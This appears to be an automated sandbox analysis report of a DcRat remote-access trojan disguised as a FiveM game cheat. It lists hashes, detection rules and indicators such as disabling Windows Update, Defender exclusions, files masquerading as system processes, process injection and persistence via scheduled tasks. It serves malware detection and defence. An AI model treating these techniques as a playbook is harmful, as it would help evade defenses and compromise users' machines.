dcrat | 1c0a9400bebcc834e63c18d20f9bf0ab073faa9525112178e2507072542e00a7

Analysis

user interaction
yes
max time kernel
900s
max time network
863s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 22:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
FiveM_External.exe
Size 8.2MB
Sample260910-2rnmsafa24
SHA256 1c0a9400bebcc834e63c18d20f9bf0ab073faa9525112178e2507072542e00a7
MD5 a3988c100166cddfe804578aaea0b946
SHA1 8107f9549c5077939e5f8665be80c1f21f3378ed
SHA512 bc606729bb194377b2f2ebb0e92dfd9251810b543e1774bab6155b2b06e3ee6fb4f780e925ce419b62bc4718bc5763ddce26f6027f9f835b86c152511df0c20a
SSDEEP 196608:sXjbVCIBF9P4xemNhsbq1H5aoLz+SLnVrLIs3KK3D3jNLT8:wjIIrt4xVNhSK5LLqSJJ3KKDp/
TLSH
T17E86330625B9D8B1CCD3C1B4CA9BBBD892553DB83AFC0783E9503C4A775B1A4691C3AD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit dcrat infostealer persistence rat

Malware Config

Signatures

Family: DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/memory/1504-2-0x0000000000400000-0x00000000013D1000-memory.dmp	dcrat
behavioral1/files/0x000300000001e6da-18.dat	dcrat
behavioral1/memory/2896-33-0x0000000000EB0000-0x000000000105E000-memory.dmp	dcrat
behavioral1/memory/1504-35-0x0000000000400000-0x00000000013D1000-memory.dmp	dcrat

Modifies security service 2 TTPs 5 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Process spawned unexpected child process 27 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	760	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1252	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4760	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2840	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3352	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1832	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3672	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3448	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3884	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3324	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2056	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2624	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2328	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2528	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1636	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2308	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3276	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3248	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1740	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3656	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4428	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3484	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3836	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1944	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3440	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4672	664	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3596	664	schtasks.exe	95

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1212	powershell.exe
3344	powershell.exe
2364	powershell.exe
2828	powershell.exe
4920	powershell.exe
3320	powershell.exe
744	powershell.exe
1452	powershell.exe
1712	powershell.exe
4692	powershell.exe

Possible privilege escalation attempt 26 IoCs

exploit

pid	Process
2996	icacls.exe
4508	icacls.exe
552	takeown.exe
4660	takeown.exe
4976	icacls.exe
4736	icacls.exe
5132	takeown.exe
4500	icacls.exe
3032	takeown.exe
1880	icacls.exe
2556	takeown.exe
3708	icacls.exe
2416	icacls.exe
668	icacls.exe
4648	icacls.exe
5244	takeown.exe
3140	icacls.exe
2264	takeown.exe
2100	takeown.exe
668	icacls.exe
1236	takeown.exe
5324	icacls.exe
4948	takeown.exe
1856	takeown.exe
5652	takeown.exe
3648	takeown.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	FiveM_External.exe
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	conhost_fv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	fv_fontreviewmonitordllrefsvc.exe

Executes dropped EXE 50 IoCs

pid	Process
1748	conhost_fv.exe
2896	fv_fontreviewmonitordllrefsvc.exe
2120	karma_fivem.exe
5080	dwm.exe
5352	dllhost.exe
5368	conhost.exe
5444	fv_fontreviewmonitordllrefsvc.exe
5460	RuntimeBroker.exe
5532	backgroundTaskHost.exe
5540	lsass.exe
5564	StartMenuExperienceHost.exe
5572	System.exe
6004	RuntimeBroker.exe
5252	updater.exe
6036	updater.exe
1912	svchost.exe
4444	updater.exe
3024	svchost.exe
4760	updater.exe
6140	svchost.exe
6008	backgroundTaskHost.exe
4920	dwm.exe
5020	updater.exe
5776	svchost.exe
5708	dllhost.exe
4384	updater.exe
4856	svchost.exe
628	lsass.exe
3936	updater.exe
5436	svchost.exe
4572	conhost.exe
5504	updater.exe
4680	svchost.exe
1292	backgroundTaskHost.exe
4532	dwm.exe
1664	updater.exe
6120	svchost.exe
2928	System.exe
3224	updater.exe
4264	dllhost.exe
4964	svchost.exe
1720	fv_fontreviewmonitordllrefsvc.exe
1680	StartMenuExperienceHost.exe
5916	updater.exe
1700	svchost.exe
2284	RuntimeBroker.exe
5768	updater.exe
2952	svchost.exe
5544	backgroundTaskHost.exe
4568	dwm.exe

Modifies file permissions 1 TTPs 26 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
552	takeown.exe
4976	icacls.exe
5244	takeown.exe
668	icacls.exe
5132	takeown.exe
4500	icacls.exe
4660	takeown.exe
4736	icacls.exe
1236	takeown.exe
4948	takeown.exe
5652	takeown.exe
2556	takeown.exe
4508	icacls.exe
2264	takeown.exe
668	icacls.exe
1856	takeown.exe
2100	takeown.exe
3032	takeown.exe
1880	icacls.exe
3708	icacls.exe
2416	icacls.exe
4648	icacls.exe
2996	icacls.exe
5324	icacls.exe
3140	icacls.exe
3648	takeown.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 64 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4508	powercfg.exe
1508	powercfg.exe
5444	powercfg.exe
1708	powercfg.exe
5584	powercfg.exe
4060	cmd.exe
3716	powercfg.exe
4372	powercfg.exe
2484	powercfg.exe
60	cmd.exe
3352	powercfg.exe
868	powercfg.exe
5352	powercfg.exe
3804	powercfg.exe
5196	powercfg.exe
992	cmd.exe
1736	cmd.exe
1104	powercfg.exe
2308	powercfg.exe
3068	powercfg.exe
3680	powercfg.exe
1220	cmd.exe
6020	powercfg.exe
4004	powercfg.exe
1876	powercfg.exe
5020	powercfg.exe
2424	powercfg.exe
1792	powercfg.exe
4060	powercfg.exe
540	powercfg.exe
4240	powercfg.exe
3064	powercfg.exe
1828	powercfg.exe
3248	powercfg.exe
2152	cmd.exe
3688	cmd.exe
2672	cmd.exe
5256	cmd.exe
3804	powercfg.exe
4204	powercfg.exe
5876	powercfg.exe
4352	cmd.exe
3348	powercfg.exe
5760	cmd.exe
5852	cmd.exe
6056	powercfg.exe
5652	powercfg.exe
1104	powercfg.exe
4548	powercfg.exe
2940	cmd.exe
1892	powercfg.exe
4324	powercfg.exe
3580	powercfg.exe
220	powercfg.exe
4824	powercfg.exe
6056	powercfg.exe
2424	powercfg.exe
4852	powercfg.exe
640	powercfg.exe
1672	powercfg.exe
4004	powercfg.exe
4164	powercfg.exe
4496	powercfg.exe
4508	powercfg.exe

Drops file in System32 directory 48 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\7E1A.tmp	updater.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\updater.exe.log	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\F63D.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\A3CF.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\5181.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\2382.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\4DBA.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\25C2.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\7755.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\FAA0.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\A90D.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\D22E.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

SmartAssembly .NET packer 3 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral1/memory/2896-43-0x0000000003170000-0x000000000317A000-memory.dmp	SmartAssembly
behavioral1/memory/2896-54-0x000000001BBB0000-0x000000001BBBC000-memory.dmp	SmartAssembly
behavioral1/memory/2896-57-0x000000001BBE0000-0x000000001BBEC000-memory.dmp	SmartAssembly

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1504	FiveM_External.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 6036 set thread context of 1912	6036	updater.exe	283
PID 4444 set thread context of 3024	4444	updater.exe	322
PID 4760 set thread context of 6140	4760	updater.exe	361
PID 5020 set thread context of 5776	5020	updater.exe	402
PID 4384 set thread context of 4856	4384	updater.exe	442
PID 3936 set thread context of 5436	3936	updater.exe	482
PID 5504 set thread context of 4680	5504	updater.exe	522
PID 1664 set thread context of 6120	1664	updater.exe	563
PID 3224 set thread context of 4964	3224	updater.exe	604
PID 5916 set thread context of 1700	5916	updater.exe	645
PID 5768 set thread context of 2952	5768	updater.exe	685

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\55b276f4edf653	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Windows Portable Devices\eddb19405b7ce1	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files\Google\Chrome\updater.exe	conhost_fv.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	conhost_fv.exe
File created	C:\Program Files (x86)\Internet Explorer\fr-FR\fv_fontreviewmonitordllrefsvc.exe	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Internet Explorer\fr-FR\13ce1bb6796f4e	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StartMenuExperienceHost.exe	fv_fontreviewmonitordllrefsvc.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\RemotePackages\6203df4a6bafc7	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\ShellExperiences\conhost.exe	fv_fontreviewmonitordllrefsvc.exe
File opened for modification	C:\Windows\ShellExperiences\conhost.exe	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\ShellExperiences\088424020bedd6	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\RemotePackages\lsass.exe	fv_fontreviewmonitordllrefsvc.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3068	sc.exe
4520	sc.exe
5744	sc.exe
2648	sc.exe
1828	sc.exe
3412	sc.exe
3144	sc.exe
3144	sc.exe
6076	sc.exe
2352	sc.exe
3484	sc.exe
5228	sc.exe
3324	sc.exe
5396	sc.exe
5732	sc.exe
3440	sc.exe
5496	sc.exe
1952	sc.exe
4776	sc.exe
3796	sc.exe
4692	sc.exe
552	sc.exe
4496	sc.exe
4776	sc.exe
1104	sc.exe
5892	sc.exe
3304	sc.exe
2740	sc.exe
4884	sc.exe
5140	sc.exe
6044	sc.exe
2912	sc.exe
5312	sc.exe
5076	sc.exe
3484	sc.exe
5388	sc.exe
4860	sc.exe
5436	sc.exe
3448	sc.exe
3428	sc.exe
568	sc.exe
4556	sc.exe
5328	sc.exe
3540	sc.exe
3372	sc.exe
5856	sc.exe
3304	sc.exe
6124	sc.exe
4972	sc.exe
5916	sc.exe
5940	sc.exe
5564	sc.exe
5088	sc.exe
6044	sc.exe
2116	sc.exe
5296	sc.exe
3836	sc.exe
1768	sc.exe
5480	sc.exe
5896	sc.exe
4200	sc.exe
2356	sc.exe
2004	sc.exe
5744	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 15 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3452	cmd.exe
4012	cmd.exe
4560	cmd.exe
2660	cmd.exe
3500	cmd.exe
2608	cmd.exe
2464	cmd.exe
5736	cmd.exe
2128	cmd.exe
3672	cmd.exe
5840	cmd.exe
1956	cmd.exe
3620	cmd.exe
5528	cmd.exe
4980	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FiveM_External.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings	fv_fontreviewmonitordllrefsvc.exe

Modifies registry key 1 TTPs 64 IoCs

Modify Registry

T1112

pid	Process
2024	reg.exe
3804	reg.exe
1688	reg.exe
4948	reg.exe
4896	reg.exe
5816	reg.exe
2308	reg.exe
3516	reg.exe
1712	reg.exe
1900	reg.exe
4056	reg.exe
4324	reg.exe
1528	reg.exe
6124	reg.exe
1880	reg.exe
1684	reg.exe
4976	reg.exe
5668	reg.exe
640	reg.exe
5044	reg.exe
552	reg.exe
5648	reg.exe
4660	reg.exe
2416	reg.exe
2220	reg.exe
